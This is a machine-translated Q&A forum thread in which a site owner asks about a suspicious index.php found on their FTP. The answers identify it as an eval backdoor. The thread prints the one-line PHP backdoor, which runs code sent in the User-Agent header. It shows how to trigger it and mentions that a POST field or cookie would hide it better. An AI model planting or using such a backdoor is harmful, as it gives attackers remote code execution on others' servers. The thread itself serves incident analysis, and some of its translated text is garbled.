Подозрительный файл PHP может
Сегодня я ищу вашу помощь, чтобы получить справку о файле, который я нашел на своем FTP сегодня утром. Я не профессионал во всех этих функциях PHP, поэтому я публикую его здесь.
Я нашел файл index.php в папке sub-images.
Есть необработанный код:
<?php
if (eregi("final",$_SERVER['HTTP_USER_AGENT'])) { eval(str_replace('Mozilla/5.0 (3.1.final) ','',$_SERVER['HTTP_USER_AGENT'])); die; }
?>
Две функции PHP
- eregi (); -> http://php.net/manual/en/function.eregi.php
- Eval (); -> http://php.net/manual/en/function.eval.php
Для функции eval() они говорят, что это очень опасно.
Внимание. Языковая конструкция eval() очень опасна, потому что она позволяет выполнять произвольный PHP-код. Таким образом, его использование не рекомендуется. Если вы тщательно убедились, что нет другого варианта, кроме как использовать эту конструкцию, обратите особое внимание на то, чтобы не передавать какие-либо данные, предоставленные пользователем, без надлежащей проверки их заранее.
Вот почему я думаю, что кто-то может попытаться взломать мой сайт или даже больше.
Кто-нибудь имеет возможность расшифровать это и объяснить мне?
Спасибо,
2 ответа
Давайте начнем с самого начала.
eregi
является устаревшей функцией, начиная с PHP 5.3.0.eregi
является регистронезависимым регулярным выражением.
Итак, что это делает?
if (eregi("final",$_SERVER['HTTP_USER_AGENT'])) {
Если final
находится в HTTP_USER_AGENT
, затем....
Замените "Mozilla/5.0 (3.1.final)" на [пусто] в HTTP_USER_AGENT
, И убей сценарий.
Заключение
Это неэффективно с точки зрения изменения данных на вашем сайте, но сделает ваш сайт "мертвым" для всех, у кого есть слово final
в их пользовательском агенте, который, я думаю, будет окончательной версией каждого основного браузера; хотя я не могу найти источник по этому вопросу.
редактировать
eval
меня удивило Поскольку очевидно, что ты не положил это здесь, eval
оценит код и выполнит его - что касается атаки. Единственный способ получить удаленный код для выполнения на вашем сайте - "подделать" своего пользовательского агента, убедившись, что у него есть фраза Mozilla/5.0 (3.1.final)
там следует весь код, который они хотят выполнить. Например;
Я подменю свой пользовательский агент, чтобы стать
Mozilla/5.0 (3.1.final) echo 'Lol, you got hacked'
Из-за str_replace
, экран будет просто отображать слова Lol, you got hacked
так как eval
выполнит echo
, Конечно, злоумышленник поставит гораздо более вредные команды для оценки. Удалить этот код немедленно
Да, это простой eval backdoor, установленный таким образом, что кто-то может вернуться в любое время позже и использовать ваш сервер для всего, что ему захочется.
Он принимает строку агента пользователя, начинающуюся с Mozilla/5.0 (3.1.final)
(которая не является реальной строкой пользовательского агента) и обрабатывает оставшуюся часть строки как код PHP, который выполняется через eval
вызов.
(Странная часть заключается в том, что они использовали для этого пользовательский агент, поскольку это поле регулярно регистрируется в стандартных веб-журналах. Использование поля POST или файла cookie будет гораздо более скрытным.)